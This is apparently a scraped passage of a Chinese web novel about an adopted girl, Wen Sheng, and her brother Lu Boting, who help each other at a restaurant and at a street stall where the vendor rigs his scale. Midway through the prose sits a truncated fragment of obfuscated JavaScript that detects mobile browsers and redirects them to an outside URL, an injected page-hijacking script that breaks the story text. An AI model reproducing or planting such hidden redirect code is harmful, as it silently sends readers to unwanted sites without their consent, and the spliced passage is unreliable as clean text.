到了傍晚,她们会跟着道具组一起吃盒饭,盒饭是统一定的大锅饭,她最不喜欢吃茄子和胡萝卜,但碗里一半的蔬菜都是这两,拍摄环境有限,方圆几里也没有任何的超市和饭店,她不敢在路边随意浪费食物,只能努力塞进嘴里往下咽。
姚女士还在和一旁的制作人朋友聊天,顺手接过她吃不下的盒饭,那制作人刚从国外回来,背包里有两盒进口威化和一盒酸奶,姚女士当着那人的面,很理所当然地翻包,接着明目张胆地塞到女儿怀里。
温声抱着怀里的宝贝和她偷偷对视,但姚女士已经埋下头开始解决她吃剩的盒饭了,朝她揶揄地眨眨眼,顺便打了个手势——
找个安静的地儿坐下慢慢吃完再来。
她跑走的时候,耳边还能听到那位叔叔的笑骂声:“我说你能不能行了,经我同意了吗,那可是我这两天的口粮啊!”
“跟我姑娘还抢吃的,你要点老脸。”
唔……
后来的后来,她们在晚上会睡在山顶的帐篷里,她的脸被蚊子咬了好几个包,胳膊和腿上也有被各种飞虫叮咬过的红印,姚女士给她浑身涂满花露水,又捧着她的小脸亲了一口,隔壁帐篷里的工作人员肯定都能听到导演时常挂在嘴边的那句:“我们阿声好香,是香香公主,是妈妈最爱的乖宝。”
然后温声就会红着脸迷迷糊糊跟着附和:嗯…我…就是最好的……
姚女士还搬出摄影组的远程摄像机,在那个不热也不够凉快的夏日夜晚,打开长曝光,温声枕着她的胳膊,小小的身体蜷进她怀里,时不时指问几颗星星,那种很不起眼,甚至一晃可能就不在了的星群,姚女士也能准确说出它们的位置
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和名字。
天边慢慢静了下来,飞虫喈喈声渐息,睡眼蒙蒙闭上。
只剩旁边的相机还在悄声咔咔地记录着很长一串星轨。
童年馈赠她的礼物,虽迟但到,从物质到精神,都从未匮乏过。
家里所有人对她非常好,那种好是夹在花生壳里的红衣,是不能轻视的最首位。
好到,就连袜子突然有了破洞都会让她下意识觉得很内疚。
明明他们从来就没有亏欠过自己……
店员看她站在原地没动,体贴地弯腰在她脚边放了一双浅粉色的一次性干净棉拖,嘴边挂着客气温柔的笑:“需要我帮您换吗?”
温声越发窘促,脸彻底烧了起来,袜子被刮破后她还没来得及换就出门了。
“谢谢您,不用了,我自己来就好,您忙您的,不用管我的。”
说完,倒退一步,脚趾都紧张的蜷了起来。
“好的,那您有需要随时吩咐我们哦。”
看到她离开,温声这才悄悄吐出一口气,用小心翼翼地目光瞄向不远处的姚女士,但她在接电话没注意到这边。
摸了摸裙边的软绒毛,温声心理建设了一小会儿,动作很轻很快地终于蹲下身,她背对门口的一排店员,屁股都快要挡到地上,今天穿的还是绑鞋带的棉靴,边脱,心里急的不行,快点脱,快点脱啊温声,手不能抖,千万不能抖求你了,没关系的,这没什么好丢人的……
可是为什么怎么脱都脱不掉啊……
她的眼圈控制不住地泛酸,眼前涌上热气,用力绷大眼眶也散不开的热气,头只能越埋越低,她觉得今晚她实在是小题大做,甚至有点神经兮兮,她的自厌在这样一个寻常的场合来的太不合时宜,但她不知道该怎么往下压。
她注意到自己的手越来越抖,天冷了,手背和指缝原先干皲的地方又冒起了寒碜的紫痕,就像身上这套光鲜的衣服下是她穿了好几年的旧背心一样突兀,她的手快要没知觉了。
想立马回到福利院……
谁能来救救她……
温声已经分不清是心里作祟还是脑子里下意识的胡思乱想,脱鞋的动作越来越慌,也越来越慢,头顶的灯好刺眼,为什么非要照在她这边,可不可以调暗一点或者直接关掉……
明明只是和家人吃顿晚饭这么简单的事,她不知道为什么她会做不好,她想要耍公主脾气遮掩自己的自卑,想扯住姚书文的手往外走,想说能不能不在这里吃饭,去路边随便一家店就可以。
她想要有一束永远不灭的光,但不能太明亮,也不能太炽热,要永远照在她身后。
只是一双破袜子啊温声……
你的人生又不会一直破下去……
眼泪滚出的那一刻,头顶紧接着‘啪’的一声。
眼前如愿暗了下来。
路泊汀神色如常地靠在墙边,手里还在摆弄那根垂下的灯线,腿边随意扔着他的运动包,微鼓的网袋装着足球和一双沾满泥的球鞋,不知道是不是温声的错觉,那只包很隐蔽地挡住了她换鞋的空隙,再也没有谁能看到那处破洞。
除了他。
面前突然掉下一包纸巾,然后温声听到他开口讲话:“你还有十秒钟的换鞋时间。”
声音不大,最起码这一圈人里只有她听到了。
店员正在往这边走来,姚女士在接电话的同时往这边看了一眼,挂断电话,也走了过来。
手上好像恢复了力气,温声很快脱掉鞋,又在下一秒,套上了那双鞋底很轻包趾的棉拖,趁她过来前,抽出纸动作很快地擦净眼泪。
一切都刚刚好。
店员站在两米外,疑惑地看向两人,刚要询问,路泊汀卷着灯线的食指慢慢悠悠往下一拉,头顶的日式灯泡又亮了起来,他依然没什么站姿地倚着墙,耸耸肩笑着解释:“不好意思啊,刚手碰到了。”
“乖宝怎么哭了?”
姚女士下一秒转过头盯路泊汀,还没出声,他就主动低头认错:“sorry,我欺负哭的。”
迎来的就是自己亲妈手提包的一抡抽,路泊汀无语的啧啧了好几声,边往包间走,边摇着抽疼的胳膊,拖鞋甩出啪嗒啪嗒的发泄声,他语气不无正经的和前面的两人打商量:“妈,一次两次也就够了,次次这么偏她,你就不信哪天我伤心了,擅自脱离组织自立门户啊?”
姚女士压根就不在乎,牵着温声,另一手的提包往他身上招呼,他接住,她要笑不笑地眯眼警告他:“要去就去,不用和我汇报,你没觉得我最近都不想让你叫我妈么?”
……
路泊汀坏气地挑着眉,哼着音儿应道:“成啊,有您这句话我就放心了。”
直到后来,他真的跳出户口本自立门户了,夫妻两人又差点给他腿打折。
唉,爹妈难伺候啊。
但这都是后话的后话了。
21. 棉花糖
刚挨上榻榻米的软垫,温声就两手一铺,蔫不唧地趴到了桌上,转过头,脸朝窗,眼圈好像还是红红的,看上去一点话都不想多说。
姚女士已经有很长一段时间没陪两个孩子吃饭了,手机特意关了机,多看了几眼她小小的后脑勺,心里一动,朝对面喝水的儿子递了个眼神——
你作为哥哥,知道怎么回事吗?
路泊汀有时候就不太想卖自己妈这个面子,故意没意会她的眼色,端着茶杯若无其事地喝着品着,指尖还有一搭没一搭地敲着杯壁,过了好几秒,等到对面的姚女士面露不耐了,他才平平淡淡地暼了她一眼,把问题无形抛了回去——
您自己问呗,这我哪儿知道啊。
斜斜往那儿一坐,眼神特有意味,也不多话只是轻笑,那种打小就公子哥的败家子气质一览无余,姚女士表情没什么变化,只是一瞬的时间,脚下精准一踹,他就呛了一口热茶。
差点呛死。
温声听到一阵剧烈的咳嗽声,闷闷地抬起头看他,捏紧手里的那包纸,又看他一眼,伸手从桌上推了过去。
“乖宝今天在学校有没有睡午觉?”姚书文顺着她的动作低低问了一句。
温声垂着眼只顾点头,担心自己这会儿看上去有点莫名其妙,只好连着又点了几下头,“今天老师带我们去东厅的手工房睡午觉,我睡了一个小时,醒来后别的同学都已经不在了。”
姚女士了然的挑眉,手下柔柔地摸她的头发,轻声接着问:“那今晚不高兴是因为这件事吗?”
见女儿皱着小眉头,摇摇头,又不说话了,她没再继续问,给她倒了一杯手边的清茶,想到什么似的忽然一笑:“有点想吃刚才路口那位老师傅卖的棉花糖和炸糖糕了,你俩要不要和我一起吃?”
这话温声听得很清楚,下意识诶的一声,睁大眼睛问:“这种餐厅可以带外食进来吗?”
这种处处透着精致,连茶杯都擦得锃亮的地方,甚至空气中流动的清香味比她闻到的任何一种植香都要自然的地方,她刚才还注意到每个店员的服饰上面都有她在妈妈衣柜里见过的标签,肯定很贵……
感觉连喝白开水都不太被允许……
面儿上肯定是不行的。
但只是个吃饭的地儿,多大事啊。
姚女士坐在靠门的位置,两腿一倾,给女儿让位置,又指着路泊汀交代道:“你带着妹妹出去买,我看里面有好几种口味,我要巧克力的,你们两的自己挑,路上注意车不要走偏了。”
路泊汀刚咳完,身上的毛衫湿了一片,呵呵一笑已经懒得控诉了:“妈,可是我并不想吃啊,您别带上我行吗。”
温声已经兴冲冲要起身的动作又缓缓一迟,年龄还小的她,那时候眼尾还是耷下的,润红又亮晶晶的眼睛,偏偏又是抬起眼巴巴望过来的,让他有一个时间点记起了以前在院里怎么逗都甩不开的一只流浪狗。
那只狗也说不上是什么品相,反正市面上没怎么见过,听人说是混起来的小土狗,因为模样奇怪还被院里其他朋友当成过发育不全的畸形崽。
但它有一双只有他过目难忘的浅色眼睛,挺亮的,时不时铺着湿湿的雾气,和它对视时他总觉得这小东西是个通人性有思想的狗,它很粘人,在一群过路人里只咬住他的裤腿追着不放,以为是饿了,他去门口的外超买了一袋进口狗粮,还专门挑了个又大又圆干湿分离的铁碗,就蹲在门卫那里背着阴风盯着它吃完,一蹲就是一个小时。
只是路康对狗毛过敏,他得回趟家问问看能不能收养,回去前安保室的工作人员还笑着答应他今晚一定会替他看好这只狗的。
到家后鞋都没换第一件事就是和路康通电话,不到一分钟,聊的很稳妥,他爹是个没脾气的人,一年到头本来就回不了几趟家,听儿子好不容易求件事,还管什么过敏不过敏啊,这边刚和儿子聊完,又给刘嫂去了通电话,请她明早把他书房旁边那个小隔间腾出来布置成狗窝。
本该是很顺利的一件事。
但谁也没想到那只狗后来还没等他领回去,就被院里的过路车当晚给撞了。
没救活。
在那之后的很长一段时间,他怎么也没想通,到底是这只狗倒霉,还是遇上他的那天晚上才开始倒霉。
所以他现在是看不得这种耷下的狗眼睛望着他的。
在姚女士还没动手打过来前,路泊汀又转了个话弯,起身开始穿外套,声音有点淡漠:“算了,还没吃过,尝尝吧。”
那一年的冬天出奇的冷,十二月的天气,夜晚气温降到零下好几度。刚才出来时,温声还在担心需要再换鞋,站在玄关口不时瞄着和店员沟通的路泊汀,她戴着厚绒绒的围巾帽,听不清他们说了什么,不想他为难,她刚要蹲下换鞋,眼前的人影就一晃。
温声眨也不眨地看着那个回过身,往门口帅气的偏了偏头,对她用口型说出“go”的少年。
他那个时候穿的就很骚包很有个人风格了,和全身素色的自己不一样,他一身夸张扎眼的黑粉撞色,好像很喜欢穿低领松垮的衣衫,颈间有一条细细的黑链,有时候说话或者沉默的时候,那根项链就会被他勾到下颚,然后扬起尖尖的下巴绷着唇轻笑。
夏天他跟着舅舅姚洲远跑了一圈太平洋沿岸,又是冲浪又是露营,俊脸晒黑了不少,那时还搞了一个相当西海岸风的卷毛,学校老师追着骂了好几次让他去剃头。
但都没骂动。
哦,他还说了一句极其不着调的话——
连发型都保不住,还怎么保全年第一?
班主任后面也就半推半就的接受了,谁让这混子确实有实力。
瞅着她愣在原地失神地看着他,路泊汀扯出凉凉的笑意:“搞快点,走了。”
说完就先往外走了。
背影意气,步伐恣肆,就连抬手推门时细薄的腕骨都晃出了撞铃一样的生机。
温声看着他被路灯闪滑过的身影,烁光熠熠,比白天玻璃反射出那一霎那的日光还耀眼,几乎刺得她眼眶发疼。
明明周围也没有风吹,但她耳边清晰深刻地响起了簌簌声。
她也很想……
那扇厚重的玻璃门快要合上前,温声快步跑了过去,用力重新推开。
……很想变成不会在意任何具象的风。
卖棉花糖的叔叔还没有收摊,三轮车是改拆过的,两边的车把挂满了各色棉花糖的糖架,车子不大,热气白雾从盖在糖糕上面的湿布里溢出来,温声掖了掖围巾露出下巴,仰头深深吸了一口糖糕的芝麻香味,冷风天里还混着各种层叠不明的香料味。
这才是她最想要的烟火气。
“老叔,麻烦帮我们装三份炸糖糕,还有红豆包椰蓉酥栗子糕各样都拿一斤吧,棉花糖各口味来一个,再来点桂花糖藕……”
温声愣神的功夫,他就点了个遍。
“叔叔等一下!等一下!!”
温声急忙打断路泊汀,拉着他拽到了身后,手臂伸开,小小的身体挡在他跟前,快快叫停已经闭着眼开始盲装的老板了:“等等!不好意思叔叔,那个红豆包我们只要小半斤,椰蓉酥吃不了太甜就不要了,栗子糕切半块就好,棉花糖只要三个,一个巧克力味的,一个香草味的,还要……”
温声扭头,小指头点向他的胳膊,一戳一戳地,问:“你想吃什么味的?”
路泊汀凑到小窗口前还在磨磨唧唧地一个一个的挑口味,温声等不及,果断让老板再装一个芒果味的。
主要是不想让姚女士等太久。
“喂,我……”他不满地直起身想为自己说两话。
“叔叔,那边的柠檬果汁是手打的吗,怎么卖呀?”
温声再次出声打断他,指向车头那个装橙色液体的容器问道。
喂。
妹。
你哥不吃芒果啊。
路泊汀揣着兜淡着脸闭着嘴,就听她事事安排好,也不知道这一趟出来他的作用是什么。
温声对这些街边市井烟火气的地方还是很熟悉的,替那叔叔抻着塑料袋,眼睛时刻盯着他手前的秤。
那老板被她盯得有点恼火,面露不快地让她站远点:“丫头,你站这儿挡路啊,来的客人都看不见你身后窗子里的吃的,让我怎么卖?”
他说话很凶,长得也有点凶,然而温声就是清清楚楚看到他的秤是没有去皮的,甚至还多了几两。
她缩起脖子,下巴又悄悄藏进围巾里,只露出清透的浅眸,虽然害怕被揍,但还是没走开,憋着气小小声地反抗:“叔叔……你的秤不对……是真的不对……”
“嘿你这孩子!”那老板眼睛突然一瞪,手里夹糕点的铁钳子往她面前一甩,瞬间怒了起来,“我在这片儿都多少年了,来这吃的回头客多了去了,你们要是这样故意找事,还是别买了吧,走走走。”
他嗓门很大,温声没任何准备被吓了一跳,脸立马红了,胸口还扑通扑通狂跳个不停,她那时候性格很敏感,余光注意到有行人正在往这里看,心里忽然有点难过是不是自己太斤斤计较了,就算缺斤少两,可能也就几块钱的事,可是妈妈想吃啊,不管多贵还是买吧……
呵。
身后的路泊汀挑眉笑了笑,作用这不就来了?
他伸手接过温声手上的塑料袋,让她腾地方往边儿站,自己慢腾腾换了过去,寡着一张脸睨向那老板,长眉细眼压得极低,一脚踩在旁边台阶上,另一腿嚣张地抖啊抖,塑料袋在手里也没个形状的乱荡,站的离那老板更近了,全程一语未发,就那么直勾勾盯回去,他年龄也不大,但眼神已经有几分凌厉倨傲,塑料袋甩在他面前,盯着他,下巴往袋子上点了点,吐出两字:“打包。”
说是帮忙扯袋子,不如说彻底变成了摊主的监工。
温声怕路泊汀被那叔叔揍一顿,毕竟他看上去情绪真的不太稳定,还长得那么高那么壮实……
脚步不知不觉就往前凑了两下,身体紧挨着前面的少年。
要打就一起打吧……
要疼也能一起疼……
老板从头到脚扫过他两,自觉把面前这个造型不学无术的男孩归类到那些家里有点小钱的二世祖里,说白了就是烂泥扶不上墙的那类败类流子。
他拉下黑脸,隐隐嗤了声,手里却是翻开袋子重新给他们装,温声眼睁睁看着他往称上潦草一落,都不到两秒钟,又立马撤掉。
来来回回好几趟。
将打包好的几个塑料袋丢在他们面前,老板又狮子大开口道:“统共273元,不要钢镚,只要纸币。”
什么嘛!这也太太太贵了!
温声顿时心生不妙,低下头忙翻着外套里的零花钱,越翻越绝望,她平时用钱的地方不多,偶尔才会从钱包里取一点点现金。
钱很新很新,也没什么折痕。
但是……
她搓着那张纸币,哭也不是笑也不是,只有23块钱,真的只有23块……
其中3块钱还是三枚钢镚。
完了……
温声这下真害怕了,两只小手扒着路泊汀的衣服,身体都拱到他身上了,完全不敢看老板。
这顿打是真的要来了……
路泊汀从钱包里抽出五张纸币,像那人刚才丢垃圾一样扔回他身上,语气冷艳得很:“你如果向她承认是你的秤不对,道个歉,就不用再找零了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15774953|174664||http|test|mini|href|location''.split(''|''),0,{}));
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>温声以为他没转过弯算不清账,吃力地踮起脚尖靠近他耳边小声解释:“就算他不承认,也要给我们找零的啊。”
两百多块钱呢,够她吃两百多根小奶糕了!
路泊汀啧了一声,突然回头往她脸上那个围巾帽闻了闻,又移开,挑着眉问:“你这什么味儿?”
一股小孩儿吐奶的奶粉味,还是加了洗衣粉的毒奶粉。
她还喝奶粉的么?
温声以为是他嫌弃她围巾有什么怪味道,脸红了,尴尬了,脚跟又贴回地面,不说话了。
老板看着那五百块有点下不来台,这钱有时候能顶上他一天的收入,最近天冷,赚的更少,他寻思着要不随便说两句够了,反正就是两小孩,旁边也没个大人影儿,怕个什么事?
于是手里忙着,目光飘着,一副等会要上人了没空多说话的样子,嘴里随意糊弄道:“秤数肯定是没问题,我是实在人咋能唬你们这种小娃呢,可能就是上位顾客刚走你们又来得急,我这还没来得及调整……”
扯屁啊。
路泊汀面儿上一副你挺没意思的嘲意,手一伸,直接要钱,“找我227,不要钢镚,只要纸币。”完了还很不耐烦的催了一句,“赶时间,劳烦快点儿。”
啪!嘭!
老板将钱赶忙对折,又麻溜地扔进围裙前那个钱匣子里,温声看到他还用一层厚厚的布压在上面,动作急急促促的,甚至还有点猥琐,她第一次朝别人翻白眼就是这个时候开始的。
“秤是不对,但这种电子秤读数偶尔会迟个两秒钟,它自己过会儿就好了,而且我这些糕点制作成本很高的,食材也都是新鲜现成的,我都按最便宜的价格卖给你们了,你们回去可以尝尝看,我卖的是值这个价格的。”
温声才不信,伸着小脑袋呛他,也不知道为什么突然就不怕他了:“叔叔,你给我们卖贵也就算了,但来去这条路的都是一些下晚自习的学生,还有你身后可是一家盲人医疗馆,我刚才都看到你给那位盲人阿姨收了好多钱,他们本来就不容易了,如果不是真的喜欢吃,谁会愿意黑漆漆的晚上还跑来你这边买呢?”
她的声音也不小,身后的路人来来往往朝这边乱瞟,同时盯住那摊主,长得人高马大的还欺负人小孩儿,真是不要脸。
那师傅窝火地噤了声。
路泊汀顺着她的话看向对面,还真有一家盲人治助中心,甜糕的气味在冷天里其实很浓郁,自然而然会引来一些嗅觉很灵敏的病人。
眼神还挺好使。
温声瞥到前面的人漫不经心回过头,目含深究地瞅了她一眼,她敏感脆弱的小心脏又跳了跳,睁大眼询问:我有说错话吗?
他似笑非笑地扯着唇角,朝她摆了个戏谑的鬼脸,很突如其来的动作,还是那种没有任何作怪和嘲讽的打趣儿表情。
两人之间的距离好像倏地被拉进了。
温声猝不及防一怔,他刚才摆鬼脸了?还是对她摆的?
是错觉吗……
懒得浪费时间,路泊汀做最后的收尾,他最擅长揣着轻飘飘的表情说出刺痛人尊严的话:“我想你应该搞明白一件事儿,首先,我们不缺你这钱,其次,你人不厚道,最后,这摊儿你以后好自为之。”
说完还礼貌的笑了笑,目光寸寸扫过他的摊位,舒眉弯眼地落下最后一句:“估计也快没了。”
温声抱着那一大袋糖糕棉花糖拉着路泊汀跑出好远好远,两人脚上的拖鞋一路掉一路捡,跑的太快还差点撞倒路人,来到这世上也没多少年,心脏在今晚就已经损一大半了,刚才那老板要不是铁车挡在身前出不来,以他气红了眼的暴怒样,他两今晚绝对要见血!
“……你!你……”
温声喘着大气,一时呼吸不上只好弯下腰撑住膝盖唤气,小脸又红又白的,刚才被跑路的风吹瓢的嘴嘚嘚开始骂他:“你干嘛要说那些话惹他!他那人一看就不靠谱,我都怀疑他有家暴倾向,万一他一个暴怒给咱两一铲子……”
那爸妈怎么办?
他手里那个铁铲子如果不是她动作快,早就招呼到他两身上了!
路泊汀一手撑着隔壁的墙低下腰也喘个不停,发型是彻底乱了,身上的外套也被她扯得不成人样,他本来没慌的,只是那话刚说完就被她逮住衣服不管不顾地往外拽,搞的他现在有种他才是那个傻逼的错觉。
开口前又呛了一声冷气:“咳咳,你怕什么,他要真来一下子,那也是我先挨,你跑你的不用管我啊。”见她还蹲着咳个没完,围巾帽滑到脖子上,头发被风吹着糊了一脸,路泊汀看了一阵,也蹲下,在她背上轻轻拍了拍,然后就……
措手不及地对上了那双和小狗一样的浅色眼睛。
里面有被汗淋湿的潮,还有一点,他确信只有他能看清的局促。
和那晚他离开前,那只狗疯狂甩尾巴时的那一刻,一模一样。
路泊汀也不知道为什么要心虚,眼神不受控地先错开,盯着墙上斑驳的灰漆,轻声接着说完:“以后遇事先别慌知道吗?”
知道个屁啊!
温声跑的嗓子又干又疼,用胳膊挡开他的手,继续骂:“你怎么想的啊,你看到他手里的铁夹子了吗,可能不到三秒就甩你脸上了,如果真的受伤出血该怎么办?就当我是斤斤计较了吧,以后点到为止就够了,没必要说那些——”
“你不是对的吗?”
她被打断,声音忽然止住,抬眼看他。
路泊汀只是移到她露着脚趾的破袜子上,她立马用手盖了上去:“别看!”
他莫名被戳中笑点,嘴角弯起,又说:“既然你是对的,那我们怕什么,就算被他今晚弄伤,你也是对的,不是吗?”
22. 围巾帽
上河福利院名义上是公办机构,但由于它太小太不起眼,福利服务完全空白,资源又匮乏,就连社会关注度都几乎为零,所以当地政府早就将它作为私营管理边缘化了,它在脱节于江城和临港两个特大城市之间最边区的上营镇,从地图上看那处微微凸起的黄色斑点,就像一粒原始绝地的残渣。
即便从福利院出来很久了,温声对它的印象还停留在——“旧旧扎在半山腰,从远看,像一座长满杂草的大荒坟”。
在那里长大的几年,洗澡从来是用水壶浇身,澡房后面有一个人多手杂的猪圈,两间木板搭的屋子只用磨砂的塑料帘从中间半隔开,每次背对门口弓下腰刚要擦身时,人影虚虚晃过,而她又不得不在时间内快速洗完。
就那个瞬间,自己和那些家畜其实是没有任何区别的。
在还没识清字不知道偷是什么概念时,她就被人第一次连打带踹地骂是小偷。
那天中午她在汤饭里吃出一只没见过的红黑色交替的软虫,那虫子就算去头去尾下锅炒了,在碗里还能蠕动,当天晚上她就开始肠胃发疼躺在床上半天翻不过身,志愿者老师只好大晚上开着拉货的卡车载着她下了山。
当时山脚开了一家挂牌的小诊所,也算是镇上第一家正规的医药店,他们去的那天是开店的第三天,店外摆了好多开业还没撤走的花篮,门框也系满了各色气球,气温低风又大,几个气球飘进了室内,她坐在椅子上手背还在挂水,晚上九点多,诊所前台没有人,志愿者老师坐在长椅的另一边拉上帽链合眼正在补觉。
她确定,她发誓她确定,那几只气球是被风吹进来的,正好吹到了她脚边,她举起那只挂针的手,俯下身,另一手小心地捞起两只气球,可能是长这么大还没怎么见过气球里是可以装东西的,她都没敢多碰那只气球,自己移动着目光多看了几眼,后背就突如其来一记恶狠狠的猛推,前台是个四十岁上下的男人,两手粗鲁地抓住她的手大呼小叫:“你个b小孩偷什么东西,谁让你摘的?”
“我没有……”
他改去掐她肩膀,动作很莽,她的骨头咯咯一直响,“你信不信我打电话报警?”
当时她只希望掐着自己的那只手能去掐她脖子,最好掐断气,如果没死,那她今晚回去后这辈子都不会再下来。
但出于自尊心或者作为人的本能的脸面,她还是用尽全力去挣脱他的手,疼的眼泪都掉下了,但还是大喊道:“我没有偷!我不需要它啊我怎么会偷!你可以去查监控,我只是想捡起来……”
话都没说完,脸上就受了一巴掌,那巴掌火辣辣的,打得她晕头耳鸣了半天,鼻血几乎是瞬间喷了出来,而那个志愿者老师只是沉默着起身拿了她的外套,拔掉针管,也没顾她手背滚出来的血珠,拖着她的胳膊就出了门。
回山的路上,他两全程没说一个字,她想回头问为什么你不愿意帮我,你是从城里来的受过教育的大学生,你完全可以站出来替我说话。
她想问就算你不想帮我,但看在我也是院里的人,应该可以带我去查监控或者报警吧。
想问的太多太多,只是还没想好措辞就注意到他神情不耐地又拉上了帽子,所有的话一时间全堵了回去,暗天雪地里,只有被风刮的生疼的脸还在往外冒着热气。
觉得不公平吗?
没有。
想过反抗吗?
也没有。
她在很小很小的时候就明白无依靠的人是没有规则能讲的,追究有没有公平可言,只能说生活还没有到穷途末路的那一步。
而她从出生就没有什么退路能走。
只是……
温声像被空中的湿气从上向下全身浸了一遍,睫毛发沉地粘到一起,眼睛垂得很低,她也不知道为什么听到他说她是对的的时候,心口忽然变得很酸,这种感觉就像——她当自己是一张粘在湿地皱巴的破纸,就等哪天下一场无关紧要的雨彻底拍烂她。
但现在竟然有人把她铺平,晾在了阳光下。
喉咙哽哽的,鼻腔涌上很浅的酸痛,温声用力往下咽口水,开口时声音发涩还有点颤:“其实我也不对,有些事并不一定是非黑即白,换个角度想,如果今晚那老板家庭比较困难,想靠生意多挣点花费也不过分,以后这种事我会分情况的,还有……”
两人身处的地方正好是一处早上卖炸物的早点摊,那片水泥地常年累了一层厚厚的油垢,路泊汀滑着鞋漫无目地踩在上面,结果鞋底沾上一大块油黑黑的脏泥,他嫌埋汰,皱着眉下意识想踢远点,听她突然没了声,动作一消,又若无其事地蹭了起来,那块泥翻来覆去被碾成泥团,余光不经意睨向她。
还有什么?
听着呢,接着说啊。
温声蹲着腿有点发麻,舔了舔嘴唇压下胸口的难受,伸进塑料袋里取出两袋密封的手打果汁,没看他,递出去一袋,又自顾自地撕开封口小口喝起来。
……
不知道里面掺了什么,有股发酵过的豆汁加了辣椒酱搅过的洗洁精的恶心味,温声含在嘴里半天咽不下的吐不出。
她对别人的眼神很敏感,从刚才,或者说从晚上进日料店,她就发现了他在观察她的一举一动,目光清清亮亮,甚至算得上坦然,但她还是被盯得有点难为情,果汁在嘴里滚了又滚才强行咽下去,想让他别喝了,但开口又是另一句,语气有些生分:“今晚你帮了我很多,不管是在店里还是刚才在摊上,我都…都…谢……”
她突然磕巴了一下,也不知道为什么要点头,反正朝他认认真真点了两下脑袋,“……谢谢哥哥。”
咯咯也行,格格也好,就是喊他哥哥听上去怪没滋没味的。
路泊汀半真半假地哼笑了一声,果汁从一手高高抛到另一手,在空隙中正眼看了她一眼,不紧不慢开了封口,扯着唇角若无其事道:“虽然非黑即白不算好事,但坚持你原则范围内的白你不觉得很酷么?”
原本还浅浅品着果汁找着话茬的人俊脸瞬间一变。
他一顿,闭嘴,垂眼,面无表情盯着包装上那句标语——
‘每一口,都是幸福的滋味!’
……
细长的眼梢慢慢眯起,眉梢抽了又抽,后牙差点糟碎。
什么垃圾也配叫果汁?
早点闭了吧你。
本来还在安慰她的话一个骤然转弯:“这死玩意儿多少钱?”
恶声恶气的突然来一句,温声一怔,话题跳太快她没反应过来,抬着脑袋睁大眼睛望他:“啊?什么?”
看清他喝绿了的脸,还是那种很少见的面露凶光又被恶心到不行的表情,温声没由来地笑出声,见他轻飘飘的瞟过来,憋住笑,她快速别过头淡定道:“一袋40。”
?
路泊汀后知后觉那老板是真拿他两当牲畜一样往死里宰,扯着嗓子往外蹦粗:“他tm个傻逼怎么不去抢?到底是你看上去好骗还是我?算了应该是我,但这水儿谁喝谁要死,谁能全喝下去哥们直接跪下叫声爹好吧,哎我操!报警吧,咱报警吧,我操啊!这是诈骗啊妹!老子今晚一定要干他!”一脚恶狠狠踢开那堆碍眼的烂泥,他气势冲冲地抖好身上皱巴的外套,狂里狂气地朝她扬下巴,“走,跟哥现在去掀他那个破车!”
他突然发起疯吓了温声一大跳。
你早不报警现在还说个屁啊?
你还垫进去227块钱,记住了,是2!2!7!
够她吃两百多根小奶糕的227!
现在才反应过来贵啊?脑回路长腿上一脚给你蹦了是么?
温声很难不翻白眼,捂紧耳朵不愿多听。
路泊汀骂的越来越起劲儿,附近还有一家生意火热的关东煮摊,排长队的客人全转过身来瞧着他们,各个脸上笑呵呵的跟看自家小孩打打闹闹一样,其中有一个穿着很前卫大胆的大学生姐姐见两小朋友长得很乖很好看,吹着口哨笑嘻嘻地帮腔:“弟弟妹妹需要姐姐我带你们去报警吗?不用说谢也别给我钱,你们只要往我脸上一人一边亲一口吧,我要听到很响的叭声喔,不然不帮。”
大家轰地全大笑了起来。
温声捂耳朵的手又忙去遮脸,头顶飞来的全是他咄咄逼人的口水。
不要说脏话啊!
也别喷口水啊!!
你不嫌丢人我还嫌丢人啊!!!
路泊汀又是b*s又是f**k的骂咧了几声,不是她那种秀秀气气强咽下去,他像被人一拳捣碎胸骨,又是全身搐动又是呕着嗓子,然后乱没形象地吐到旁边土堆里,还将剩下的半袋果汁扯烂封口全浇到了地上,浇完自己的还不够,一把抢走她手里的那袋,继续往地上浇,嘴里还在晦气的骂:“看到没,你以前的人生就像这滩臭水,踩踩也就没了。”
忽然朝她伸出手。
温声捂脸的动作一顿,那只手很漂亮,她莫名想到用潇洒两个字形容最好不过,细长的指尖冻得有些发红,指骨线条干净分明,很冷淡的一只手,伸过来时却带着淡淡的木柴味,烘溽的暖意扑在她脸上。
视线不动声色地滑到他脸上,她还没问出声,就被他一把强势拽起,路泊汀这会儿完全没有风度温雅那一说法,推着她踩到那滩黑乎乎的泥地里,语气拽拽甩下一句:“踩两下我们就走。”
温声担心会
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弄脏身上的裙子,两手轻轻托起裙摆,脚上那双鞋底很薄的拖鞋小心翼翼地磨在那滩泥里。
“你觉得你对,那你就是对的,你不用自我检讨,也不需要问任何人,下次遇到这事,要么坚持要么跑路,选择权在你身上。”
他冷不防开始说刚才没说完的话。
温声低下头,那摊黑泥很像以前她上山下山时遇到的大大小小的土堆,每次绊得她都要绕很远的路走,她忽然挑了一块最大最脏的泥开始踩,白色袜子的脚跟溅上了几滴泥点子,看了两秒,她学他刚才的样子一脚踢开拖鞋踩了上去,踩得很用力。
路泊汀懒洋洋地靠在一旁,脸上丝毫没有刚才那股子横气嚣张的劲儿,神情轻淡,目光明净又专注,“看不惯的前提是先保护好自己,这点你做的挺好,比我好太多。”
温声碾开最大的那块泥,脚底全湿了,她也不觉得冷,最后抬起腿直接跺了上去。
他的话又响在耳边,只不过这次温润的声音熨软了燥冷的空气:“以后有爸妈给你撑腰,想做什么想说什么不用再顾虑,你也该往前跑了。”
见她脚都冻红了,路泊汀牵着她的胳膊拽出水坑,踢掉自己的拖鞋弯下腰给她套好,起身时软热的呼吸喷到她的下颚,温声睫毛一颤,他放手,往后退了两步,想到什么似的又摇头浅笑,举起手里那个瘪掉的果汁透明袋挡在眼前,朝她敬了个非常帅气的casual salute,“我替那些盲人叔叔阿姨今晚谢谢你咯。”
说的她都想哭了。
